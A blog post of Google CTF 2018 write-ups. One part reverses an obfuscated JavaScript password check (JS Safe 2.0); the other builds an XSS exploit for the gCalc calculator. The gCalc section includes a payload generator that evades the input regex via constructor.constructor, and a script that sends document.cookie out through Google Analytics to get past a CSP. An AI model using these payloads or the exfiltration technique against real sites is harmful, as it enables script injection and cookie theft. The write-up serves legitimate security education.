Down to the Wire

Google CTF 2018 Writeups: JS Safe 2.0 and gCalc

I’m back again with some more CTF writeups because apparently that’s all we do here now. This time, two web problems from Google CTF!

JS Safe 2.0

You stumbled upon someone’s “JS Safe” on the web. It’s a simple HTML file that can store secrets in the browser’s localStorage. This means that you won’t be able to extract any secret from it (the secrets are on the computer of the owner), but it looks like it was hand-crafted to work only with the password of the owner…

We are provided with a page that asks for a password, and when given a string, attempts to decrypt data from localStorage. Opening the attachment, there are a couple of functions that clearly stand out as being responsible for carrying out the decryption:

html content_copy index.html
<script>
function x(х){ord=Function.prototype.call.bind(''.charCodeAt);chr=String.fromCharCode;str=String;function h(s){for(i=0;i!=s.length;i++){a=((typeof a=='undefined'?1:a)+ord(str(s[i])))%65521;b=((typeof b=='undefined'?0:b)+a)%65521}return chr(b>>8)+chr(b&0xFF)+chr(a>>8)+chr(a&0xFF)}function c(a,b,c){for(i=0;i!=a.length;i++)c=(c||'')+chr(ord(str(a[i]))^ord(str(b[i%b.length])));return c}for(a=0;a!=1000;a++)debugger;x=h(str(x));source=/Ӈ#7ùª9¨M¤ŸÀ.áÔ¥6¦¨¹.ÿÓÂ.։£JºÓ¹WþʖmãÖÚG¤
¢dÈ9&òªћ#³­1᧨/;source.toString=function(){return c(source,x)};try{console.log('debug',source);with(source)return eval('eval(c(source,x))')}catch(e){}}
</script>
<script>
function open_safe() {
  keyhole.disabled = true;
  password = /^CTF{([0-9a-zA-Z_@!?-]+)}$/.exec(keyhole.value);
  // console.log(String(x));
  if (!password || !x(password[1])) return document.body.className = 'denied';
  document.body.className = 'granted';
  password = Array.from(password[1]).map(c => c.charCodeAt());
  encrypted = JSON.parse(localStorage.content || '');
  content.value = encrypted.map((c,i) => c ^ password[i % password.length]).map(String.fromCharCode).join('')
}
function save() {
  plaintext = Array.from(content.value).map(c => c.charCodeAt());
  localStorage.content = JSON.stringify(plaintext.map((c,i) => c ^ password[i % password.length]));
}
</script>

Prettying up function x a bit, we end up with

JavaScript content_copy
function x(х){
  ord=Function.prototype.call.bind(''.charCodeAt);
  chr=String.fromCharCode;
  str=String;
  function h(s){
    for(i=0;i!=s.length;i++){
      a=((typeof a=='undefined'?1:a) + ord(s[i])) % 65521;
      b=((typeof b=='undefined'?0:b) + a) % 65521
    }

    return chr(b>>8) + chr(b&0xFF) + chr(a>>8) + chr(a&0xFF)
  }

  function c(a,b,c){
    for(i=0; i != a.length; i++)
      c = (c||'')
        + chr(ord(str(a[i])) ^ ord(str(b[i%b.length])));
    return c
  }

  // for(a=0;a!=1000;a++)
  //   debugger;

  a = 1000; // Not in original code; inserted to match the above loop

  x=h(str(x));
  source=/a really bad regex that confuses our syntax highlighter/;
  source.toString=function(){
    return c(source,x)
  };

  try{
    // console.log('debug',source);
    with(source)
    return eval('eval(c(source,x))')
  }catch(e){}
}

A quick look over h indicates that it’s some kind of hashing function that I’m not going to take the time to reverse further, and a glance at c indicates that it’s simply a string XOR.

As for function x itself, it sets a to 1000 (invoking debugger on every increment) and then sets x to h(str(x))… hey, wait, how does JavaScript scoping work when an argument and function have the same name?

You might have noticed this already since it renders well in this blog’s code font, but in our editors we couldn’t tell that the name of the function and its argument were two different things (its argument actually being U+0445, “CYRILLIC SMALL LETTER HA”, and not a lowercase x). This means that the argument to str is… the function itself. And of course, String(x) returns the source code of x, meaning our edited version will never return the right answer. Nice! (We ended up simply logging the value of x in the proper context to reach the same conclusion.)

After that, we set the toString() method of our nasty regex to be its value XORed with our value of x, and then we do whatever the heck eval('eval(c(source,x))') does, with the value of source in our context.

Working from the inside out, we start by XORing source with whatever our value of x is. Fortunately, we can just compute this manually without knowing the key, since it only relies on the source of x:

JavaScript content_copy test.js
fnx = `the result of String(x), for the real function x`;

function x(х){
  ord=Function.prototype.call.bind(''.charCodeAt);
  chr=String.fromCharCode;
  str=String;
  function h(s){
    for(i=0;i!=s.length;i++){
      a=((typeof a=='undefined'?1:a) + ord(s[i])) % 65521;
      b=((typeof b=='undefined'?0:b) + a) % 65521
    }

    return chr(b>>8) + chr(b&0xFF) + chr(a>>8) + chr(a&0xFF)
  }

  function c(a,b,c){
    for(i=0; i != a.length; i++)
      c = (c||'')
        + chr(ord(str(a[i])) ^ ord(str(b[i%b.length])));
    return c
  }

  a = 1000;
  x=h(str(fnx));

  source=/.../;
  source.toString=function(){
    return c(source,x)
  };

  with(source) {
    console.log(c(source,x));
  }
}

x("CTF{123}");

This outputs the string х==c('¢×&Ê´cʯ¬$¶³´}ÍÈ´T—©Ð8ͳÍ|Ԝ÷aÈÐÝ&›¨þJ',h(х)). In other words, for the main function to return true, we need to find a value q such that q == c('some weird string', h(q)).

At this point, you might be tempted to try reversing the hash function h; however, there is a much easier approach. We know what q looks like — since the original password had to match /^CTF{([0-9a-zA-Z_@!?-]+)}$/, and q is the password with the CTF{} wrapping removed, q must match /^([0-9a-zA-Z_@!?-]+)$/. Therefore, we know that c('some weird string', h(q)) must also match that regex. Since h only returns a 4-character string, we can simply try every value for each of the 4 characters and see which values result in only ascii characters after an XOR (note that this is 4 * 2^8 checks rather than 2^32 since we can treat each byte individually):

JavaScript content_copy brute.js
// Pardon how awful this script is, it was written very quickly during the CTF and was never cleaned up

// Scroll to the bottom for a proper download link

fnx = `...`;

function x(х){
  ord=Function.prototype.call.bind(''.charCodeAt);
  chr=String.fromCharCode;
  str=String;
  function h(s){
    for(i=0;i!=s.length;i++){
      a=((typeof a=='undefined'?1:a) + ord(s[i])) % 65521;
      b=((typeof b=='undefined'?0:b) + a) % 65521
    }

    return chr(b>>8) + chr(b&0xFF) + chr(a>>8) + chr(a&0xFF)
  }

  function c(a,b,c){
    for(i=0; i != a.length; i++) {
      c = (c||'')
        + chr(ord(str(a[i])) ^ ord(str(b[i%b.length])));
    }
    return c
  }

  a = 1000;

  x=h(str(fnx));
  source=/.../;
  source.toString=function(){
    return c(source,x)
  };

  try{
    with(source) {
      let q = eval("c(source,x)")
      
      // Construct a list of all of the character codes in the string
      let a = [];
      for (let iii = 0; iii < q.length; iii++) {
        a.push(ord(str(q[iii])));
      }
      a = a.slice(6, 45);

      // When we XOR with our hash, every fourth character is XORed with the same character
      // Thus, we bucket every fourth character in the same bucket
      let parts = [[],[],[],[]]

      for (let d = 0; d < a.length; d++) {
        parts[d%4].push(a[d]);
      }

      // Convert each bucket to a string for simplicity
      parts = parts.map((p) => p.map(x => chr(x)).join(""))

      for (let i = 0; i < 4; i++) { // For each byte of the hash...
        console.log(`----- CHAR ${i} -----`);
        for (let j = 0; j < 256; j++) { // For every possibility of the byte...
          let out = /^[0-9a-zA-Z_@!?-]+$/.exec(c(parts[i], chr(j)));
          if (out) { // Our guess for the byte can be valid only if every character in the bucket ends up matching the regex
            console.log(j, chr(j));
          }
        }
      }

      console.log("----------");

      // To test an answer, replace the chr() calls on this line
      console.log(c(a.map(f => chr(f)).join(""), chr(253) + chr(153) + chr(21) + chr(249)));
    }
  }catch(e){
    console.log(e);
  }
}

x("CTF{123}");

You can download the script, with the proper strings and regexes, here.

This script gives us two possible answers: the hash of the flag string must be either [253, 149, 21, 249] or [253, 153, 21, 249]. Substituting in each possibility for the value of h(x) in c('some weird string', h(q)), we end up with two possible flag strings, CTF{_B3x7!v3R91ON!h45!AnTE-4NXi-abt1-H3bUk_} and CTF{_N3x7-v3R51ON-h45-AnTI-4NTi-ant1-D3bUg_}, the latter of which is the correct flag.

Note: Zach and I got first blood on this problem, which was also the second solve of the entire CTF!

gCalc

For all your calculation needs.

https://gcalc2.web.ctfcompetition.com/

First Look

In this problem, we are given a web calculator. It seems to function just like any other basic calculator app might, but the interesting bit is the link on the bottom right: “Computer too slow? Try it on our i386 beowulf cluster.” Clicking on the link has us fill out a captcha, which presumably sends off our calculation to some remote machine. Looking at the network logs, we don’t get to see the response; only “OK”:

A request to the gCalc remote machine. The response from the gCalc remote machine.

This tells us that

  1. We probably need to exflitrate some data from the remote machine
  2. We can’t use the result of the expression to do so, and will probably need to bypass the CSP

Moving on to the code, it turns out that the calculator isn’t actually running on the linked page at all; rather, it’s running inside of a sandboxed iframe:

html content_copy index.html
<html lang="en">
<head>
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta charset="utf-8">
    <link rel="stylesheet" href="/static/style0.css">
</head>
<body>
    <iframe src="https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html?" border=0 sandbox="allow-scripts allow-modals allow-same-origin"></iframe>
</body>
</html>

The code that powers the calculator is minified, but it’s only about 175 lines after using Chrome’s built-in deminifier. One function in particular seems quite interesting:

JavaScript content_copy app.min.js:formatted
function p(a, b) {
    a = String(a).toLowerCase();
    b = String(b);
    if (!/^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a))
        throw Error(a);
    b = JSON.parse(b, function(a, b) {
        if (b && "object" === typeof b && !Array.isArray(b))
            return Object.assign(Object.create(null), b);
        if ("number" === typeof b)
            return b
    });
    return (new Function("vars","return " + a))(b)
}

This function p is what gets called when you hit the = button in the calculator app, and is presumably what gets run when you send your calculation to the remote machine. Its two parameters, a and b, are the expression and variables that can be seen in the HTTP request to /report in the first image above. This function effectively does the following:

  1. Check if the expression matches the magic regular expression (more on that in a minute); exit if it doesn’t
  2. Parse the variables, but only include numbers and objects in the result
  3. Invoke the expression with vars set to the parsed variables

The obvious step is to try to exploit this into getting arbitrary JavaScript execution.

Working around the Regex

For those less well-versed in regular expressions, the check /^(?:[\(\)\*\/\+%\-0-9 ]|\bvars\b|[.]\w+)*$/.test(a) is saying the following: we pass the check if and only if the entire string a consists of any number of repetitions of the following kinds, in any order:

  1. Any of the literal characters ()*/+%-, a space, or any digit
  2. The literal string vars
  3. A single dot (.) followed by one or more “word characters”, namely any alphanumeric or underscore

The intent here is clearly that you can make mathematical expressions containing strings of the form vars.fieldname in order to substitute your variables of choice. However, this gives us way more power than intended, since (as we will soon see) we can construct things we should not otherwise be able to construct.

The lowest-hanging fruit is that we can access any field on any object that we can get into our expression, since the regular expression does not check that the string before a dot is vars. Clearly, this lets us access the fields we declared on our vars object; however, we can also access properties that are inherently on JavaScript values, so long as they are fully lower case. The one most interesting to us is constructor: given a value, it gives you the function that can be used to construct that type of object. If vars is { x: 1 }, then vars.x.constructor isn’t very exciting since it’s just the Number function; however, since Number is indeed a function, Number.constructor (and thus vars.x.constructor.constructor) is the Function function — which lets us generate functions from strings, just as the calculator does to execute the expression! Therefore, if we can produce arbitrary strings, then we can also execute arbitrary code by submitting

JavaScript content_copy
vars.x.constructor.constructor(/* string-producing expression here */)()

Now we need a way to produce strings. While we can produce some static strings by abusing JavaScript’s handling of addition of non-numeric types (for example, vars + vars will net us [object Object][object Object]), we can’t get enough control to actually produce usable code.

However, numbers are not the only literals that we can produce following this regular expression. Since / is allowed in any location, we can also produce regular expression literals. Conveniently, regular expressions have a source field (thanks for the reminder, JS Safe 2.0!) that is equal to the string that produced the regular expression, so /abcd/.source is abcd. Using this in the form /.contenthere/.source, we can get any string we want consisting of lower case letters, so long as it is preceded by a dot. Fortunately, strings have a slice method that can be used to get rid of the first character (substring or substr would also work here); thus, we can produce strings that have lower case characters, and can extend this concept to the other allowed individual characters as well (being careful to produce valid regular expressions). At this point, we can actually pull off the basic XSS check of calling alert:

JavaScript content_copy
vars.x.constructor.constructor(/.alert(1)/.source.slice(1))()

Note: an easy way to test this as you go is to navigate to https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html and run p(expression, JSON.stringify(variables)) in the console.

This is useful, but can only get us so far; we can’t yet produce uppercase or special characters. In fact, all we really need to be able to do is produce a capital C: then we could invoke String.fromCharCode() and produce any character we want. However, this is not readily available using the tricks we have done thus far; none of the stringified constructors contain C, and in order to call "c".toUpperCase() we would need to already have an uppercase C!

We got stuck at this point for a while, but eventually realized that we had the entire global scope at our disposal, including Angular’s global angular object. This conveniently exposes an uppercase method, which converts a character to uppercase. Using this we can finally get a hold of an uppercase C:

JavaScript content_copy
p("vars.x.constructor.constructor(/.return /.source.slice(1) + /.angular.uppercase/.source.slice(1))()(/.c/.source.slice(1))", '{"x":1}')

/*
Translated: (function(){ return angular.uppercase }())("c")
Returns: "C"
*/

Now we can produce any function we want by getting a handle on String.fromCharCode and using that to produce any string we want. At this point, it’s easiest to write a script to automatically convert exploit scripts to payloads:

JavaScript content_copy generate.js
const fs = require("fs");
let data = fs.readFileSync(process.argv[2]).toString();

// Converts the given string to some code producing that string matching the magic regex
// If init is true, we won't use `vars.c` to access `String.fromCharCode`
function make(dat, init = false) {
	return dat
		.split(/(\.[a-z]+)|(\(|\))|([a-z]*[\*\+%\-0-9 ]+)|([A-Z])|([^a-zA-Z])/)
		.filter((x) => x)
		.map((part) => {
			console.error(part);
			return map(part, init);
		})
		.join("+");
}

// Maps a single "string part" (see above) to its magic-regex-matching equivalent
function map(part, init = false) {
	if (!part){
		return "";
	}

	if (part.match(/\.[a-z]+/)) {
		return `/${part}/.source`;
	}

	if (part === ")") {
		return `/(.x)/.source.split(/.x/.source.slice(4)).pop()`;
	}

	if (part === "(") {
		return `/(.x)/.source.split(/.x/.source.slice(4)).shift()`
	}

	if (part.match(/[a-z\(\)\*\+%\-0-9 ]+/)) {
		if (part[0].match(/[a-z]/)) {
			return `/.${part}/.source.slice(1)`;
		} else {
			return `/${part}/.source`;
		}
	}

	if (part.match(/^[A-Z]$/)) {
		return init
			? `vars.x.constructor.constructor(/.return /.source.slice(1) + /.angular.uppercase/.source.slice(1))()(/.${part.toLowerCase()}/.source.slice(1))`
			: `vars.c(${part.charCodeAt(0)})`
	}

	return part.split("").map((c) => {
		return init
			? `vars.x.constructor.constructor(${make("return String.fromCharCode", init)})()(${c.charCodeAt(0)})`
			: `vars.c(${c.charCodeAt(0)})`;
	}).join("+");
}

// First, always store `String.fromCharCode` in `vars.c` (otherwise our request payloads become too long for a URL)
let rename = `vars.x.constructor.constructor(${make('return function(vars){vars.c=String.fromCharCode}', true)})()(vars)`

// Then actually run our exploit
let sploit = `vars.x.constructor.constructor(${make(data)})()`;

// This will execute `rename`, then `sploit`
sploit = `${rename}+${sploit}`



// Output options

// Output a URL for the top-level app (to simulate a real submission)
console.log(`https://gcalc2.web.ctfcompetition.com?expr=${encodeURIComponent(sploit)}&vars=${encodeURIComponent(JSON.stringify({ x: 1 }))}`);

// Ouptut a URL for inside the sandbox (to simulate a submission without iframe sandboxing)
console.log(`https://sandbox-gcalc2.web.ctfcompetition.com/static/calc.html?expr=${encodeURIComponent(sploit)}&vars=${encodeURIComponent(JSON.stringify({ x: 1 }))}`);

// Output a copy/paste-able string for testing in the console
console.log(`p(${JSON.stringify(sploit)}, ${JSON.stringify(JSON.stringify({ x: 1 }))})`);

Now we can run any code we want… but how do we exfiltrate the flag?

Exfiltration

As discussed earlier, when we submit a script, we only get an “Ok” response in return; thus, to get any data out, we need to actually connect back to ourselves somehow. The top-level CSP is pretty stringent:

CSP content_copy
default-src 'self'; child-src https://sandbox-gcalc2.web.ctfcompetition.com/

Primarily, the child-src prevents us from simply using JavaScript to redirect the browser to `http://site.evil/${document.cookie}` And as it currently stands, we don’t really have a way of getting code execution outside of our sandbox, so the default-src probably doesn’t affect us much. What about inside the sandbox?

CSP content_copy
default-src 'self';
frame-ancestors https://gcalc2.web.ctfcompetition.com/;
font-src https://fonts.gstatic.com;
style-src 'self' https://*.googleapis.com 'unsafe-inline';
script-src 'self' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.google-analytics.com https://*.googleapis.com 'unsafe-eval' https://www.googletagmanager.com;
child-src https://www.google.com/recaptcha/;
img-src https://www.google-analytics.com;

This provides us with a handful of Google domains that we can connect to in various ways. Most of them we don’t have any control over, but one option that we can use to get data out is opened to us: Google Analytics! Notably, GA has been whitelisted for both scripts and images. This means that we can use GA’s image-based transport to log data of our choice.

After consulting the Google Analytics tracking docs, we can construct a URL that we can fetch as part of an image to obtain the flag, and then set that as the background of the main <body>:

JavaScript content_copy sploit.js
// Replace the `tid` parameter with your own GA tracking ID
document.body.style.background=`url('https://www.google-analytics.com/r/collect?v=1&a=539949030&t=pageview&dl=http://a.b/?cookie=${encodeURIComponent(document.cookie)
}&ua=${encodeURIComponent(navigator.userAgent)
}&cid=2082155213.1529${Math.floor(100000+900000*Math.random())}&tid=UA-12345678-1')`

Submitting this to the server and watching the Google Analytics request logs, we can see the remote machine connecting to our server and dumping its cookies, and thus the flag, CTF{1+1=alert}:

The flag appearing in the Google Analytics logs.